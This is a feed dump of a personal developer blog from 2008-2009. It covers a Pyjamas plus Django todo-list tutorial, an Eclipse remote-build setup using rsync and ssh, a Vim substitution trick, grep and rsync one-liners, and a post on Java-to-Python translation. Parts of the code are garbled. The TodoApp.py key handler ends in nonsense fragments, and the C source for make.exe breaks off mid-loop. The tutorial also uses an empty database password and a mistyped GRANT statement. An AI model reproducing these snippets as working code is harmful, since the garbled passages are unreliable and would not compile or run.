-c4Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com0tag:blogger.com,1999:blog-4380116814184566758.post-26248459103597916152009-01-07T11:52:00.000-08:002009-01-07T11:53:40.729-08:00Vim search and replace, with increment:let i=1 | g/foo/s//\=i."morestuff"/ | let i=i+1Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com6tag:blogger.com,1999:blog-4380116814184566758.post-58408626687119792422008-10-25T16:46:00.000-07:002008-10-25T16:54:11.072-07:00Happy Halloween<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSLAZ91hZfz1th094haDeMUDXRtTk9DnDMeatfx9JH3JvnPISG2yC6Q8ozhh2VJXS3QOkkVEHKDKytjdrUM7swJTxC_NUNsY30kPk_UGBMOZjsuho3cvwRsJmccJ95p6-E7J_8qCAKxgs/s1600-h/python_pumpkin.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSLAZ91hZfz1th094haDeMUDXRtTk9DnDMeatfx9JH3JvnPISG2yC6Q8ozhh2VJXS3QOkkVEHKDKytjdrUM7swJTxC_NUNsY30kPk_UGBMOZjsuho3cvwRsJmccJ95p6-E7J_8qCAKxgs/s320/python_pumpkin.jpg" alt="" id="BLOGGER_PHOTO_ID_5261242441483999506" border="0" /></a>Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com0tag:blogger.com,1999:blog-4380116814184566758.post-60548223072101180382008-10-21T21:10:00.000-07:002009-06-19T14:02:48.781-07:00A Brief Pyjamas + Django Tutorial<span style="font-weight: bold;">Update: (June 19, 2009) Since the writing of this post, Pyjamas has been updated and the below code no longer works, though the principles discussed are still valid. The example code is now being maintained in the pyjamas Sourceforge repo, located <a href="http://pyjamas.svn.sourceforge.net/viewvc/pyjamas/trunk/examples/djangotasks/">here</a>.<br /><br /><br />Intro:</span><br /><br />Django is a web framework written in Python. Pyjamas is a Python port of the google web toolkit (written in Java). Pyjamas can be used with Django to create web applications.<br /><br />In terms of an MVC framework, Django acts as the Model and Pyjamas acts as the Views and Controller.<br /><br /><span style="font-weight: bold;">The "Todo List" Application:</span><br /><br />In this brief tutorial, we will create a very simple todo list. The primary purpose of this tutorial is to briefly demonstrate how to serve data with Django, how to create and display widgets with Pyjamas, and how to handle user events with Pyjamas.<br /><br /><span style="font-weight: bold;">Prerequesits:</span><br /><br />Here is the software that is needed:<br /><ul><li><a href="http://www.python.org/">Python</a></li><li><a href="http://www.mysql.com/">Mysql</a><br /></li><li><a href="http://www.djangoproject.com/">Django</a></li><li><a href="http://pyjs.org/">Pyjamas</a></li><li>Pimentech's <a href="http://lkcl.net/libcommonDjango.tgz">libcommonDjango</a></li></ul>This tutorial will not go into how to install each of these components, nor their basic usage. Hopefully, some of them can be downloaded as packages for your linux distribution. One reader recommended that you have a fairly recent Django version. > 1.0 should work.<br /><br /><span style="font-weight: bold;">The Code:<br /><br />pyjsDemo/urls.py:<pre>from django.conf.urls.defaults import *<br />from django.conf import settings<br /><br />urlpatterns = patterns('',<br />(r'^services/$', 'todo.views.service'),<br />(r'^site_media/(?P<path>.*)$', 'django.views.static.serve',<br />{'document_root': settings.STATIC}),<br />)<br /></path></pre><br />pyjsDemo/settings.py<br /><br /><pre><br /># ADD THIS<br />import os<br />STATIC = str(os.path.join(os.path.dirname(__file__), 'media').replace('\\','/'))<br /><br /># MODIFY THIS <br />DATABASE_ENGINE = 'mysql' # 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'.<br />DATABASE_NAME = 'todo' # Or path to database file if using sqlite3.<br />DATABASE_USER = 'todo' # Not used with sqlite3.<br />DATABASE_PASSWORD = '' # Not used with sqlite3.<br />DATABASE_HOST = '' # Set to empty string for localhost. Not used with sqlite3.<br />DATABASE_PORT = '' # Set to empty string for default. Not used with sqlite3.<br /><br /># MODIFY THIS<br />INSTALLED_APPS = (<br />'pyjsDemo.todo',<br />)<br /></pre><br />pyjsDemo/todo/models.py:<br /><pre><br />from django.db import models<br /><br />class Todo(models.Model):<br />task = models.CharField(max_length=30)<br /><br />def __unicode__(self):<br />return str(self.task)<br /></pre><br /><br />pyjsDemo/todo/views.py:<br /><br /><pre><br />from django.pimentech.network import *<br />from todo.models import Todo<br /><br />service = JSONRPCService()<br /><br />@jsonremote(service)<br />def getTasks (request):<br />return [(str(task),task.id) for task in Todo.objects.all()]<br /><br /><br />@jsonremote(service)<br />def addTask (request, taskFromJson):<br />t = Todo()<br />t.task = taskFromJson<br />t.save()<br />return getTasks(request)<br /><br />@jsonremote(service)<br />def deleteTask (request,idFromJson):<br />t = Todo.objects.get(id=idFromJson)<br />t.delete()<br />return getTasks(request)<br /></pre><br /><br />pyjsDemo/media/TodoApp.html:<br /><br /><pre><br /><br />See the download for this. It's short, but I can't figure out how to paste html into my blog. I'm lazy.<br /><br /></pre><br /><br />pyjsDemo/media/TodoApp.py:<br /><br /><pre><br />from ui import Label, RootPanel, VerticalPanel, TextBox, KeyboardListener, ListBox<br />from JSONService import JSONProxy<br /><br />class TodoApp:<br />def onModuleLoad(self):<br />self.remote = DataService()<br />panel = VerticalPanel()<br /><br />self.todoTextBox = TextBox()<br />self.todoTextBox.addKeyboardListener(self)<br /><br />self.todoList = ListBox()<br />self.todoList.setVisibleItemCount(7)<br />self.todoList.setWidth("200px")<br />self.todoList.addClickListener(self)<br /><br />panel.add(Label("Add New Todo:"))<br />panel.add(self.todoTextBox)<br />panel.add(Label("Click to Remove:"))<br />panel.add(self.todoList)<br />RootPanel().add(panel)<br /><br /><br />def onKeyUp(self, sender, keyCode, modifiers):<br />pass<br /><br />def onKeyDown(self, sender, keyCode, modifiers):<br />pass<br /><br />def onKeyPress(self, sender, keyCode, modifiers):<br />"""<br />This functon handles the onKeyPress event, and will add the item in the text box to the list when the user presses the enter key. In the future, this method will also handle the auto complete feature.<br />"""<br />if keyCode == KeyboardListener.KEY_ENTER and sender == self.todoTextBox:<br /> id = self.remote.addTask(sender.getText(),self)<br /> sender.setText("")<br />if id<0: id =" self.remote.deleteTask(sender.getValue(sender.getSelectedIndex()),self)" method ="=" method ="=" method ="="><br /><br />pyjsDemo/media/build.sh<br /><br /><pre>python ~/python/pyjamas-0.3/builder/build.py TodoApp.py<br /></pre><br /></pre></span><br /><br />A very brief walk through of how to get this running:<br /><br />Extract the demo:<br /><ul><li>tar -xvvzf pyjamasDjango.tar.gz</li></ul>Create the db:<br /><ul><li>mysql -u root</li><li>> CREATE DATABASE todo;</li><li>> grant all privilages to todo.* to 'todo'@'localhost'; (or possibly > grant all on todo.* to 'todo'@'localhost';)</li><li>> exit;</li></ul>Create the tables:<br /><ul><li>cd pyjsDemo</li><li>python manage.py syncdb</li></ul>Build the javascript:<br /><ul><li>vim media/build.sh</li><li>(edit this so that it points to the build.py of pyjamas)</li><li>media/build.sh</li></ul>Run the server:<br /><ul><li>python manage.py runserver</li></ul>Test it out:<br /><ul><li>In your browser, goto: http://127.0.0.1:8000/site_media/output/TodoApp.html</li></ul><br />Here are the demo source files:<br /><ul><li><a href="http://static.gdw2.com/pyjsDemo.tar.gz">pyjsDemo.tar.gz</a><br /></li></ul>Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com37tag:blogger.com,1999:blog-4380116814184566758.post-45577706460919914072008-10-18T14:12:00.000-07:002008-10-18T14:28:19.847-07:00Java to Python conversion<a href="http://www.pyjs.org">Pyjamas</a> is for python, what <a href="http://www.google.com/url?sa=t&source=web&ct=res&cd=1&url=http%3A%2F%2Fcode.google.com%2Fwebtoolkit%2F&ei=bVH6SKT3BInYsAPV-YHADQ&usg=AFQjCNF_GO4h-SkhKalMZu3ukm-UpVqQsQ&sig2=N7G4ziz0ns410Ji0A85kEA">Google Web Tooklit</a> is for Java. Pyjamas takes python code and some widget libraries and runs it through a python-to-javascript translator. The result: Coding web appliations has never been easier! JSON calls and event handling is a breeze. Little projects that I've attempted doing in the past, using libaries such as jquery, have left me writing a lot of javascript by hand, which get's ugly.<br /><br />While I absolutley love pyjamas (and gwt for that matter), I <span style="font-style: italic;">really</span> like the looks of <a href="http://www.extjs.com">extjs</a>. The good news is that they have come out with extjs-gwt, which is "a Java library for building rich internet applications with GWT."<br /><br />In talking with some of the folks on the pyjamas mailing list, I've gathered that the process of making pyjamas involved hand-converting the java libaries (ie widgets) of gwt from java to python. (If you look at the source code of both pyjamas and gwt, you can see that it's a pretty straight-forward conversion). <br /><br />Surprisingly, pyjamas is only about 8000 lines of source code, which is relatively long. Extjs-gwt, on the other hand, as one person on the mailing list commented, has over 33,000 lines of java code in widgets alone!<br /><br />The task of hand-translating extjs-gwt would be daunting. <br /><br />I'm currently investigating the possiblity of writing a java to python converter to at least help out with the translation. A google search let me to a <a href="http://blog.melhase.net/articles/2007/02/15/automated-translation-of-java-to-python">blog post </a>which led me to an unmaintained project called java2python. <br /><br />Because I'm personally interested in the workings of such technologies, and because I couldn't get java2python to work, I've decided to write my own translator. <br /><br />I found a great <a href="http://www.codegeneration.net/tiki-read_article.php?articleId=77">article </a>by the author of antlr (the same lexer/parser/tree_generator that java2python uses) on how to do such a translation between languages. <br /><br />I hope that my efforts prove fruitful!Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com5tag:blogger.com,1999:blog-4380116814184566758.post-9063882364629758772008-10-15T16:30:00.000-07:002008-10-16T07:42:02.617-07:00Remote Building on EclipseI recently had a need, or desire, to develop c++ code on Eclipse in windows, but have it build remotely on a specially configured linux box. Here's how I did it:<br /><br /><ul><li>Get Cygwin and make sure ssh.exe and rsync.exe are installed with it.</li><li>I created a make.exe file out of the following (which I put in C:\WINDOWS):</li></ul><br /><code><br />#include <stdio.h><br />#include <string.h><br /><br />main(int argc, char * argv[])<br />{<br /><br />char str[200] = "make.bat";<br />int i = 0;<br />for (i = 1; i < tmp =" argv[i];"></string.h></stdio.h></code><br /><br /><ul><li>I created a make.bat out of the following (which I put in C:\WINDOWS):</li></ul><br /><code><br />@echo off<br />set CURDIR=%cd%<br />chdir C:\Documents and Settings\g...ROOT OF PROJECT HERE<br />C:\cygwin\bin\rsync.exe -rave C:\cygwin\bin\ssh.exe . guser@192.168.0.1:~/remoteBuild<br />C:\cygwin\bin\ssh.exe guser@192.168.0.1 python remoteBuild.py """%CURDIR% --- %*"""<br /></code><br /><ul><li>On the remote machine, I created a remoteBuild.py with the following (left in my homedir). This code is highly customized, so you will probably need to modify it. What it basically does is it converts C:\.... to a linux style path.<br /></li></ul><code><br />def main():<br /> args = sys.argv<br /><br /> argsFromWindows = args[1]<br /> print "received: " + argsFromWindows<br /><br /> path, buildArgs = argsFromWindows.split("---")<br /><br /> relPath = path.split("CUST")[2].replace("\\","/").strip("/")<br /><br /> print "relPath: " + relPath<br /> print "buildArgs: " + buildArgs<br /><br /> curDir = os.popen('cd remoteBuild/%s; make %s' % (relPath, buildArgs))<br /> print curDir.read()<br /><br />if __name__ == "__main__":<br /> main()<br /><br /></code><br /><br /><ul><li>Now I can use eclipse's build button. It creates the makefiles locally on the machine, rsync's them over, builds them, and then spits back any errors/warnings to me.<br /></li></ul>Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com0tag:blogger.com,1999:blog-4380116814184566758.post-60235211988434933162008-09-15T12:03:00.001-07:002008-09-15T12:03:51.757-07:00grepping and outputting just the filenamegrep -nHril STRING_GOES_HERE *Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com0tag:blogger.com,1999:blog-4380116814184566758.post-67218718710826518262008-09-14T21:47:00.000-07:002008-09-14T21:48:16.774-07:00ryncingrsync -rave ssh USER@HOST:DIR/ ./Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com0tag:blogger.com,1999:blog-4380116814184566758.post-63900222160644088532008-08-12T10:19:00.000-07:002008-08-12T10:24:22.695-07:00It's all about the processIt's all about the process. Maybe IDEO is so great, because of their process. Viasat is great, because of VGate, their process. Processes are like investments. You pay more now, but reap greater benefit down the road.Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com0